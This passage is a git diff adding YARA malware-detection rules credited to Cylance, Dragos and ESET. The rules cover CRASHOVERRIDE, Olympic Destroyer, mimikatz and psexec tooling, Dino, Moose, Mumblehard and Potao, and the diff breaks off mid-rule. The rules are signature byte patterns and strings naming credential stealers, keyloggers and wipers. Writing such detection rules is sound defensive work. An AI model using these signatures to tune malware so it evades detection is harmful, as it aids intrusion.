--- /dev/null
+++ b/yara-mikesxrs/cylance/wndTest.yar
@@ -0,0 +1,12 @@
+rule wndTest
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "[Alt]" wide
+    $s2 = "<< %s >>:" wide
+    $s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/cylance/zhCat.yar b/yara-mikesxrs/cylance/zhCat.yar
new file mode 100644
index 0000000..3aacd34
--- /dev/null
+++ b/yara-mikesxrs/cylance/zhCat.yar
@@ -0,0 +1,11 @@
+rule zhCat
+{
+   meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhCat -l -h -tp 1234"
+    $s2 = "ABC ( A Big Company )" wide
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/zhLookUp.yar b/yara-mikesxrs/cylance/zhLookUp.yar
new file mode 100644
index 0000000..0b2638d
--- /dev/null
+++ b/yara-mikesxrs/cylance/zhLookUp.yar
@@ -0,0 +1,11 @@
+rule zhLookUp
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "zhLookUp.Properties"
+    
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/cylance/zhmimikatz.yar b/yara-mikesxrs/cylance/zhmimikatz.yar
new file mode 100644
index 0000000..c5ff881
--- /dev/null
+++ b/yara-mikesxrs/cylance/zhmimikatz.yar
@@ -0,0 +1,11 @@
+rule zhmimikatz
+{
+  meta:
+	reference = "https://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+
+  strings:
+    $s1 = "MimikatzRunner"
+    $s2 = "zhmimikatz"
+  condition:
+    all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/dragos/Crashoverride.yara b/yara-mikesxrs/dragos/Crashoverride.yara
new file mode 100644
index 0000000..f4327fa
--- /dev/null
+++ b/yara-mikesxrs/dragos/Crashoverride.yara
@@ -0,0 +1,126 @@
+import "pe"
+import "hash"
+rule dragos_crashoverride_exporting_dlls
+{
+meta:
+ description = "CRASHOVERRIDE v1 Suspicious Export"
+ author = "Dragos Inc"
+condition:
+ pe.exports("Crash") & pe.characteristics
+}
+rule dragos_crashoverride_suspcious
+{
+meta:
+ description = "CRASHOVERRIDE v1 Wiper"
+ author = "Dragos Inc"
+strings:
+ $s0 = "SYS_BASCON.COM" fullword nocase wide
+ $s1 = ".pcmp" fullword nocase wide
+ $s2 = ".pcmi" fullword nocase wide
+ $s3 = ".pcmt" fullword nocase wide
+ $s4 = ".cin" fullword nocase wide
+condition:
+ pe.exports("Crash") and any of ($s*)
+}
+
+rule dragos_crashoverride_name_search {
+meta:
+ description = "CRASHOVERRIDE v1 Suspicious Strings and Export"
+ author = "Dragos Inc"
+strings:
+ $s0 = "101.dll" fullword nocase wide
+ $s1 = "Crash101.dll" fullword nocase wide
+ $s2 = "104.dll" fullword nocase wide
+ $s3 = "Crash104.dll" fullword nocase wide
+ $s4 = "61850.dll" fullword nocase wide
+ $s5 = "Crash61850.dll" fullword nocase wide
+ $s6 = "OPCClientDemo.dll" fullword nocase wide
+ $s7 = "OPC" fullword nocase wide
+ $s8 = "CrashOPCClientDemo.dll" fullword nocase wide
+ $s9 = "D2MultiCommService.exe" fullword nocase wide
+ $s10 = "CrashD2MultiCommService.exe" fullword nocase wide
+ $s11 = "61850.exe" fullword nocase wide
+ $s12 = "OPC.exe" fullword nocase wide
+ $s13 = "haslo.exe" fullword nocase wide
+ $s14 = "haslo.dat" fullword nocase wide
+condition:
+ any of ($s*) and pe.exports("Crash")
+}
+
+rule dragos_crashoverride_moduleStrings {
+meta:
+ description = "IEC-104 Interaction Module Program Strings"
+ author = "Dragos Inc"
+strings:
+ $s1 = "IEC-104 client: ip=%s; port=%s; ASDU=%u" nocase wide ascii
+ $s2 = " MSTR ->> SLV" nocase wide ascii
+ $s3 = " MSTR <<- SLV" nocase wide ascii
+ $s4 = "Unknown APDU format !!!" nocase wide ascii
+ $s5 = "iec104.log" nocase wide ascii
+condition:
+ any of ($s*)
+}
+rule dragos_crashoverride_configReader
+{
+ meta:
+ description = "CRASHOVERRIDE v1 Config File Parsing"
+ author = "Dragos Inc"
+ strings:
+ $s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 }
+ $s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 }
+ $s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? }
+ $s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? }
+ condition:
+ all of them
+}
+
+rule dragos_crashoverride_weirdMutex
+{
+ meta:
+ description = "Blank mutex creation assoicated with CRASHOVERRIDE"
+ author = "Dragos Inc"
+ strings:
+ $s1 = { 81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ?? 40 00 a3 ?? ?? ?? 00
+85 c0 }
+ $s2 = { 8d 85 ?? ?? ?? ff 50 57 57 6a 2e 57 ff 15 ?? ?? ?? 00 68 ?? ?? 40 00}
+ condition:
+ all of them
+}
+rule dragos_crashoverride_serviceStomper
+{
+ meta:
+ description = "Identify service hollowing and persistence setting"
+ author = "Dragos Inc"
+ strings:
+ $s0 = { 33 c9 51 51 51 51 51 51 ?? ?? ?? }
+ $s1 = { 6a ff 6a ff 6a ff 50 ff 15 24 ?? 40 00 ff ?? ?? ff 15 20 ?? 40 00 }
+ condition:
+ all of them
+}
+
+rule dragos_crashoverride_wiperModuleRegistry
+{
+ meta:
+ description = "Registry Wiper functionality assoicated with CRASHOVERRIDE"
+ author = "Dragos Inc"
+ strings:
+ $s0 = { 8d 85 a0 ?? ?? ?? 46 50 8d 85 a0 ?? ?? ?? 68 68 0d ?? ?? 50 }
+ $s1 = { 6a 02 68 78 0b ?? ?? 6a 02 50 68 b4 0d ?? ?? ff b5 98 ?? ?? ?? ff 15
+04 ?? ?? ?? }
+ $s2 = { 68 00 02 00 00 8d 85 a0 ?? ?? ?? 50 56 ff b5 9c ?? ?? ?? ff 15 00 ??
+?? ?? 85 c0 }
+ condition:
+ all of them
+}
+rule dragos_crashoverride_wiperFileManipulation
+{
+ meta:
+ description = "File manipulation actions associated with CRASHOVERRIDE wip- er"
+ author = "Dragos Inc"
+ strings:
+ $s0 = { 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15
+1c ?? ?? ?? 8b d8 }
+ $s2 = { 6a 00 50 57 56 53 ff 15 4c ?? ?? ?? 56 }
+ condition:
+ all of them
+}
diff --git a/yara-mikesxrs/dragos/crashoverride_configReader.yar b/yara-mikesxrs/dragos/crashoverride_configReader.yar
new file mode 100644
index 0000000..62e68f2
--- /dev/null
+++ b/yara-mikesxrs/dragos/crashoverride_configReader.yar
@@ -0,0 +1,14 @@
+rule crashoverride_configReader{
+meta:
+description = "CRASHOVERRIDE v1 Config File Parsing"
+author = "Dragos Inc"
+sha256 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
+reference = "https://troopers.de/downloads/troopers18/TR18_DM_Mind-The-Gap.pdf"
+strings:
+$s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 }
+$s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 }
+$s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? }
+$s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? }
+condition:
+uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-mikesxrs/dragos/dragos_crashoverride_moduleStrings.yar b/yara-mikesxrs/dragos/dragos_crashoverride_moduleStrings.yar
new file mode 100644
index 0000000..9a0f82b
--- /dev/null
+++ b/yara-mikesxrs/dragos/dragos_crashoverride_moduleStrings.yar
@@ -0,0 +1,14 @@
+rule dragos_crashoverride_moduleStrings {
+meta:
+description = "IEC-104 Interaction Module Program Strings"
+author = "Dragos Inc"
+reference = "https://troopers.de/downloads/troopers18/TR18_DM_Mind-The-Gap.pdf"
+strings:
+$s1 = "IEC-104 client: ip=%s; port=%s; ASDU=%u" nocase wide ascii
+$s2 = " MSTR ->> SLV" nocase wide ascii
+$s3 = " MSTR <<- SLV" nocase wide ascii
+$s4 = "Unknown APDU format !!!" nocase wide ascii
+$s5 = "iec104.log" nocase wide ascii
+condition:
+any of ($s*)
+}
diff --git a/yara-mikesxrs/dragos/embedded_psexec.yar b/yara-mikesxrs/dragos/embedded_psexec.yar
new file mode 100644
index 0000000..38bd346
--- /dev/null
+++ b/yara-mikesxrs/dragos/embedded_psexec.yar
@@ -0,0 +1,12 @@
+rule embedded_psexec{
+meta:
+description = "Look for indications of embedded psexec"
+author = "Dragos Inc"
+reference = "https://troopers.de/downloads/troopers18/TR18_DM_Mind-The-Gap.pdf"
+strings:
+$mz = "!This program cannot be run in DOS mode." ascii wide
+$s1 = "-accepteula -s" ascii wide
+$s2 = ",Sysinternals" ascii wide
+condition:
+all of ($s*) and #mz > 1
+}
diff --git a/yara-mikesxrs/dragos/olympic_destroyer_service_manipulator.yar b/yara-mikesxrs/dragos/olympic_destroyer_service_manipulator.yar
new file mode 100644
index 0000000..f3a0829
--- /dev/null
+++ b/yara-mikesxrs/dragos/olympic_destroyer_service_manipulator.yar
@@ -0,0 +1,20 @@
+rule olympic_destroyer_service_manipulator
+{
+meta:
+description = "Service manipulator functionality"
+author = "Joe Slowik, Dragos Inc"
+sha256 = "ae9a4e244a9b3c77d489dee8aeaf35a7c3ba31b210e76d81ef2e91790f052c85"
+reference = "https://troopers.de/downloads/troopers18/TR18_DM_Mind-The-Gap.pdf"
+strings:
+$a = { 55 8B EC 83 EC 28 56 68 00 00 00 80 68 ?? ?? ?? 00 33 F6 56 FF 15
+?? ?? 40 00 89 ?? ?? 3B C6 0F ?? ?? ?? ?? 00 53 8B ?? ?? ?? ?? 00 57 8D ?? ?? 51 8D ?? ?? 51
+8D ?? ?? 51 56 56 6A 03 68 3F 01 00 00 50 89 ?? ?? 89 ?? ?? 89 ?? ?? FF ?? FF ?? ?? 8B ?? ??
+?? ?? 00 6A 08 FF ?? 50 FF ?? ?? ?? 40 00 8D ?? ?? 51 8D ?? ?? 51 8D ?? ?? 51 FF ?? ?? 89 ??
+?? 50 6A 03 68 3F 01 00 00 }
+$b = { 8B ?? ?? 68 00 00 00 10 FF ?? FF ?? ?? FF ?? ?? ?? 40 00 89 ?? ??
+3B C6 74 ?? 8D ?? ?? 51 56 56 50 89 ?? ?? FF ?? FF ?? ?? 6A 08 FF ?? 50 FF ?? ?? ?? 40 00 56
+56 56 56 56 56 56 6A FF 6A 04 6A FF FF ?? ?? 89 ?? ?? FF ?? ?? ?? 40 00 8D ?? ?? 50 FF ?? ??
+FF ?? ?? FF ?? ?? FF D3 85 C0 }
+condition:
+uint16(0) == 0x5a4d and all of them
+}
diff --git a/yara-mikesxrs/dragos/shutdown_scheduling.yar b/yara-mikesxrs/dragos/shutdown_scheduling.yar
new file mode 100644
index 0000000..494cf9a
--- /dev/null
+++ b/yara-mikesxrs/dragos/shutdown_scheduling.yar
@@ -0,0 +1,12 @@
+rule shutdown_scheduling{
+meta:
+description = "Shutdown scheduling"
+author = "Dragos Inc"
+reference = "https://troopers.de/downloads/troopers18/TR18_DM_Mind-The-Gap.pdf"
+strings:
+$s1 = { 68 44 43 01 10 8d 85 d8 f9 ff ff 50 ff 15 1c d2 00 10 85 c0 74 }
+$s2 = { f6 05 44 f1 01 10 04 b8 6c 43 01 10 75 05 }
+$s3 = { 56 57 8d 8d ?? ?? ?? ff 51 50 8d 85 ?? ?? ?? ff 68 a8 42 01 10 }
+condition:
+all of ($s*)
+}
diff --git a/yara-mikesxrs/eset/Animal_Farm.yar b/yara-mikesxrs/eset/Animal_Farm.yar
new file mode 100644
index 0000000..78a21ef
--- /dev/null
+++ b/yara-mikesxrs/eset/Animal_Farm.yar
@@ -0,0 +1,96 @@
+// Animal Farm yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule ramFS
+{
+    meta:
+        Author      = "Joan Calvet"
+        Date        = "2015/07/14"
+        Description = "RamFS -- custom file system used by Animal Farm malware"
+        Reference   = "http://www.welivesecurity.com/2015/06/30/dino-spying-malware-analyzed/"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $mz = { 4d 5a }
+
+        // Debug strings in RamFS
+        $s01 = "Check: Error in File_List"
+        $s02 = "Check: Error in FreeFileHeader_List"
+        $s03 = "CD-->[%s]"
+        $s04 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]"
+        // RamFS parameters stored in the configuration
+        $s05 = "tr4qa589" fullword
+        $s06 = "xT0rvwz" fullword
+
+        // RamFS commands
+        $c01 = "INSTALL" fullword
+        $c02 = "EXTRACT" fullword
+        $c03 = "DELETE" fullword
+        $c04 = "EXEC" fullword
+        $c05 = "INJECT" fullword
+        $c06 = "SLEEP" fullword
+        $c07 = "KILL" fullword
+        $c08 = "AUTODEL" fullword
+        $c09 = "CD" fullword
+        $c10 = "MD" fullword        
+
+    condition:
+        ( $mz at 0 ) and
+            ((1 of ($s*)) or (all of ($c*)))
+}
+
+rule dino
+{
+    meta:
+        Author      = "Joan Calvet"
+        Date        = "2015/07/14"
+        Description = "Dino backdoor"
+        Reference   = "http://www.welivesecurity.com/2015/06/30/dino-spying-malware-analyzed/"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $ = "PsmIsANiceM0du1eWith0SugarInsideA"
+        $ = "destroyPSM"
+        $ = "FM_PENDING_DOWN_%X"
+        $ = "%s was canceled after %d try (reached MaxTry parameter)"
+        $ = "you forgot value name"
+        $ = "wakeup successfully scheduled in %d minutes"
+        $ = "BD started at %s"
+        $ = "decyphering failed on bd"
+
+    condition:
+        any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/eset/ESET_index.yara b/yara-mikesxrs/eset/ESET_index.yara
new file mode 100644
index 0000000..360524d
--- /dev/null
+++ b/yara-mikesxrs/eset/ESET_index.yara
@@ -0,0 +1,3788 @@
+// Animal Farm yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule ramFS
+{
+    meta:
+        Author      = "Joan Calvet"
+        Date        = "2015/07/14"
+        Description = "RamFS -- custom file system used by Animal Farm malware"
+        Reference   = "http://www.welivesecurity.com/2015/06/30/dino-spying-malware-analyzed/"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $mz = { 4d 5a }
+
+        // Debug strings in RamFS
+        $s01 = "Check: Error in File_List"
+        $s02 = "Check: Error in FreeFileHeader_List"
+        $s03 = "CD-->[%s]"
+        $s04 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]"
+        // RamFS parameters stored in the configuration
+        $s05 = "tr4qa589" fullword
+        $s06 = "xT0rvwz" fullword
+
+        // RamFS commands
+        $c01 = "INSTALL" fullword
+        $c02 = "EXTRACT" fullword
+        $c03 = "DELETE" fullword
+        $c04 = "EXEC" fullword
+        $c05 = "INJECT" fullword
+        $c06 = "SLEEP" fullword
+        $c07 = "KILL" fullword
+        $c08 = "AUTODEL" fullword
+        $c09 = "CD" fullword
+        $c10 = "MD" fullword        
+
+    condition:
+        ( $mz at 0 ) and
+            ((1 of ($s*)) or (all of ($c*)))
+}
+
+rule dino
+{
+    meta:
+        Author      = "Joan Calvet"
+        Date        = "2015/07/14"
+        Description = "Dino backdoor"
+        Reference   = "http://www.welivesecurity.com/2015/06/30/dino-spying-malware-analyzed/"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $ = "PsmIsANiceM0du1eWith0SugarInsideA"
+        $ = "destroyPSM"
+        $ = "FM_PENDING_DOWN_%X"
+        $ = "%s was canceled after %d try (reached MaxTry parameter)"
+        $ = "you forgot value name"
+        $ = "wakeup successfully scheduled in %d minutes"
+        $ = "BD started at %s"
+        $ = "decyphering failed on bd"
+
+    condition:
+        any of them
+}
+
+// Linux/Moose yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule is_elf
+{
+    strings:
+        $header = { 7F 45 4C 46 }
+
+    condition:
+        $header at 0
+}
+
+rule moose
+{
+    meta:
+        Author      = "Thomas Dupuy"
+        Date        = "2015/04/21"
+        Description = "Linux/Moose malware"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s0 = "Status: OK"
+        $s1 = "--scrypt"
+        $s2 = "stratum+tcp://"
+        $s3 = "cmd.so"
+        $s4 = "/Challenge"
+        $s7 = "processor"
+        $s9 = "cpu model"
+        $s21 = "password is wrong"
+        $s22 = "password:"
+        $s23 = "uthentication failed"
+        $s24 = "sh"
+        $s25 = "ps"
+        $s26 = "echo -n -e "
+        $s27 = "chmod"
+        $s28 = "elan2"
+        $s29 = "elan3"
+        $s30 = "chmod: not found"
+        $s31 = "cat /proc/cpuinfo"
+        $s32 = "/proc/%s/cmdline"
+        $s33 = "kill %s"
+
+    condition:
+        is_elf and all of them
+}
+
+// Mumblehard packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule mumblehard_packer
+{
+    meta:
+        description = "Mumblehard i386 assembly code responsible for decrypting Perl code"
+        author = "Marc-Etienne M. Leveille"
+        date = "2015-04-07"
+        reference = "http://www.welivesecurity.com"
+        version = "1"
+
+    strings:
+        $decrypt = { 31 db  [1-10]  ba ?? 00 00 00  [0-6]  (56 5f |  89 F7)
+                     39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
+                     00 31 db 43 ac 30 d8 aa 43 e2 e2 }
+    condition:
+        $decrypt
+}
+
+// Operation Potao yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule PotaoDecoy
+{
+    strings:
+        $mz = { 4d 5a }
+        $str1 = "eroqw11"
+        $str2 = "2sfsdf"
+        $str3 = "RtlDecompressBuffer"
+        $wiki_str = "spanned more than 100 years and ruined three consecutive" wide
+
+        $old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
+        $old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}       
+    condition:
+        ($mz at 0) and ( (all of ($str*)) or any of ($old_ver*) or $wiki_str )
+}
+private rule PotaoDll
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $dllstr1 = "?AVCncBuffer@@"
+        $dllstr2 = "?AVCncRequest@@"
+        $dllstr3 = "Petrozavodskaya, 11, 9"
+        $dllstr4 = "_Scan@0"
+        $dllstr5 = "\x00/sync/document/"
+        $dllstr6 = "\\temp.temp"
+        
+        $dllname1 = "node69MainModule.dll"
+        $dllname2 = "node69-main.dll"
+        $dllname3 = "node69MainModuleD.dll"
+        $dllname4 = "task-diskscanner.dll"
+        $dllname5 = "\x00Screen.dll"
+        $dllname6 = "Poker2.dll"        
+        $dllname7 = "PasswordStealer.dll"
+        $dllname8 = "KeyLog2Runner.dll" 
+        $dllname9 = "GetAllSystemInfo.dll"          
+        $dllname10 = "FilePathStealer.dll"          
+    condition:
+        ($mz at 0) and (any of ($dllstr*) and any of ($dllname*))
+}
+private rule PotaoUSB
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
+        $binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
+    condition:
+        ($mz at 0) and any of ($binary*)
+}
+private rule PotaoSecondStage
+{
+    strings:
+        $mz = { 4d 5a }
+        // hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
+        // old hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
+        $binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
+        
+        $str1 = "?AVCrypt32Import@@"
+        $str2 = "%.5llx"
+    condition:
+        ($mz at 0) and any of ($binary*) and any of ($str*)
+}
+rule Potao
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2015/07/29"
+        Description = "Operation Potao"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
